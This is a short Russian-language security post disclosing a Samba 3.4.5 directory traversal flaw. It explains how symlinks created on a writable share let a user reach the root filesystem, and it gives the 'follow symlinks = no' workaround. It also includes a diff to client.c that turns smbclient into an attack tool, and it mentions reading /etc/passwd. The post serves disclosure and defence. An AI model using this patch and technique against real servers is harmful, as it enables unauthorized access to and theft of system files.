Samba directory traversal 0-day
В серверной части популярной реализации SMB/CIFS для *nix-систем Samba обнаружена уязвимость, позволяющая удаленному пользователю выйти за пределы каталога ресурса (share) и получить доступ к корневому каталогу системы.
Для успешной эксплуатации данной уязвимости злоумышленнику необходим доступ на запись в какой-либо ресурс на атакуемой системе. Используя специально модифицированный smbclient (см. ниже), он может создать символьную ссылку на каталог, находящийся одним или нескольким уровнями выше (../../.. и т.п.), после чего перейти по этой ссылке. Полученный им доступ будет ограничиваться полномочиями того пользователя, из-под которого осуществляется доступ к ресурсу (например, при анонимном доступе этот пользователь определяется параметром guest account).
Таким образом, на большинстве конфигураций злоумышленник сможет, к примеру, залить свои файлы в /tmp или стянуть /etc/passwd, но у него не получится утащить /etc/shadow.
В качестве workaround рекомендуется запрещать следование по символьным ссылкам (follow symlinks = no), разрешенное по умолчанию.
Ниже представлен патч, превращающий обычный smbclient3 в орудие для атаки:
--- samba-3.4.5/source3/client/client.c 2010-01-18 14:38:09.000000000 +0300
+++ samba-3.4.5/source3/client/client.c 2010-01-18 14:38:09.000000000 +0300
@@ -2754,15 +2754,13 @@
return 1;
}
oldname = talloc_asprintf(ctx,
- "%s%s",
- client_get_cur_dir(),
+ "%s",
buf);
if (!oldname) {
return 1;
}
newname = talloc_asprintf(ctx,
- "%s%s",
- client_get_cur_dir(),
+ "%s",
buf2);
if (!newname) {
return 1;
Патч подготовлен для клиента из комплекта Samba 3.4.5.
Также доступно видео с подробной демонстрацией атаки.